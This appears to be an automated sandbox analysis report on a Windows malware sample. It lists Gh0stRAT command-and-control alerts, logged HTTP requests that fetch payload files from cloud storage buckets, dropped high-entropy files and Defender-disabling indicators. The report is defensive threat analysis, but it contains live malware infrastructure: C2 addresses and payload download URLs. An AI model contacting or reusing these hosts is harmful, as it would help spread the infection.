Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4x nop then movsxd rbx, qword ptr [r14+10h]	4_2_0000000140011270
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000DE96
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000DEFB
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000E178
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000DDD9

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2852901 - Severity 1 - ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin : 192.168.2.4:64570 -> 8.217.59.222:8917

Source: global traffic

TCP traffic: 192.168.2.4:64570 -> 8.217.59.222:8917

Source: global traffic

TCP traffic: 192.168.2.4:64320 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 118.178.60.9 118.178.60.9

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 39.103.20.17:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 39.103.20.17:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 39.103.20.17:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 39.103.20.17:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 39.103.20.17:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:64325 -> 39.103.20.17:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:64326 -> 39.103.20.17:443

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.59.222
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.59.222
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.59.222
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.59.222
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /i.dat HTTP/1.1Connection: Keep-AliveUser-Agent: DoHost: vien3h.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /a.gif HTTP/1.1Connection: Keep-AliveUser-Agent: DoHost: vien3h.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /b.gif HTTP/1.1Connection: Keep-AliveUser-Agent: DoHost: vien3h.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /c.gif HTTP/1.1Connection: Keep-AliveUser-Agent: DoHost: vien3h.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /d.gif HTTP/1.1Connection: Keep-AliveUser-Agent: DoHost: vien3h.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /s.dat HTTP/1.1Connection: Keep-AliveUser-Agent: DoHost: vien3h.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /s.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: DoHost: vien3h.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /drops.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f.dat HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-50.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-51.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-52.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-53.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /drops.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f.dat HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-50.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-51.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-52.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-53.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: vien3h.oss-cn-beijing.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: 22mm.oss-cn-hangzhou.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: ufozdv.net

Source: 189atohci.sys.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, 77WmQZ.exe.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl3.digicert.com/ha-cs-2011a.crl0.
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl4.digicert.com/ha-cs-2011a.crl0L
Source: 189atohci.sys.0.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: 189atohci.sys.0.dr	String found in binary or memory: http://ocsp.digicert.com0P
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, 77WmQZ.exe.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://s.symcb.com/pca3-g5.crl0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://s.symcd.com06
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://s.symcd.com0_
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://s2.symcb.com0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://sv.symcd.com0&
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://sw.symcb.com/sw.crl0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://sw.symcd.com0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://sw1.symcb.com/sw.crt0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, 77WmQZ.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, 77WmQZ.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, 77WmQZ.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: 189atohci.sys.0.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/
Source: 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/1-2246122658-3693405117-2476756634-1002
Source: 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/1-2246122658-3693405117-2476756634-1002y
Source: 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/17-2476756634-1002
Source: 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/17-2476756634-1002E
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg5
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg9
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpghttps://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51
Source: 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpgt
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51.jpg
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-52.jpg
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-53.jpg
Source: 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpg
Source: 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpg%
Source: 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpgE
Source: 77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpgk
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/f.dat
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/f.dat=
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/f.datX
Source: 77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/f.datexe
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: 77WmQZ.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0)
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: 2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/
Source: 2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/a.gif
Source: 2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifdc
Source: 2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifhttps://vien3h.oss-cn-beijing.aliyuncs.com/b.gifhttp
Source: 2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/b.gif
Source: 2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/c.gif
Source: 2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/d.gif
Source: 2834573-3676874985.02.exe, 00000000.00000003.2024950433.0000000001091000.00000004.00000020.00020000.00000000.sdmp, 2834573-3676874985.02.exe, 00000000.00000003.2000516686.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/i.dat
Source: 2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com:443/a.gif
Source: 2834573-3676874985.02.exe, 00000000.00000003.2000633101.0000000001061000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com:443/i.dat
Source: 189atohci.sys.0.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 64532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64353
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64378
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 64564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 64474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64579
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64390
Source: unknown	Network traffic detected: HTTP traffic on port 64390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64592
Source: unknown	Network traffic detected: HTTP traffic on port 64401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64604
Source: unknown	Network traffic detected: HTTP traffic on port 64605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64605
Source: unknown	Network traffic detected: HTTP traffic on port 64378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64401
Source: unknown	Network traffic detected: HTTP traffic on port 64326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64547
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64326

Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:64325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:64326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 118.178.60.9:443 -> 192.168.2.4:64353 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	File created: C:\Users\user\Documents\MsMpList.dat entropy: 7.99993875013	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Program Files (x86)\vtAIyr\tbcore3U.dll entropy: 7.99251724491	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\FOM-52[1].jpg entropy: 7.99951889252	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Program Files (x86)\vtAIyr\log.src entropy: 7.99995523007	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Program Files (x86)\vtAIyr\utils.vcxproj entropy: 7.99939970746	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\drops[1].jpg entropy: 7.99178106276	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\FOM-50[1].jpg entropy: 7.99273647747	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\FOM-51[1].jpg entropy: 7.99995626102	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\drops[1].jpg entropy: 7.99178106276	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Program Files (x86)\yKOHid\tbcore3U.dll entropy: 7.99251725359	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\FOM-52[1].jpg entropy: 7.99951889252	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\FOM-50[1].jpg entropy: 7.99273647747	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Program Files (x86)\yKOHid\log.src entropy: 7.99995522336	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Program Files (x86)\yKOHid\utils.vcxproj entropy: 7.99939957578	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\FOM-51[1].jpg entropy: 7.99995626102	Jump to dropped file
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	File created: C:\Program Files (x86)\20UfEkDS1\log.src entropy: 7.99995522778	Jump to dropped file
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	File created: C:\Program Files (x86)\20UfEkDS1\tbcore3U.dll entropy: 7.99251663203	Jump to dropped file
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	File created: C:\Program Files (x86)\20UfEkDS1\utils.vcxproj entropy: 7.99939996705	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.77WmQZ.exe.2760000.1.unpack, type: UNPACKEDPE

Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen

PE file contains section with special chars

Source: tbcore3U.dll.5.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.5.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.5.dr	Static PE information: section name: .mo:
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .mo:
Source: tbcore3U.dll.39.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.39.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.39.dr	Static PE information: section name: .mo:

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Process Stats: CPU usage > 49%
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_0000000140006C95 NtAllocateVirtualMemory,

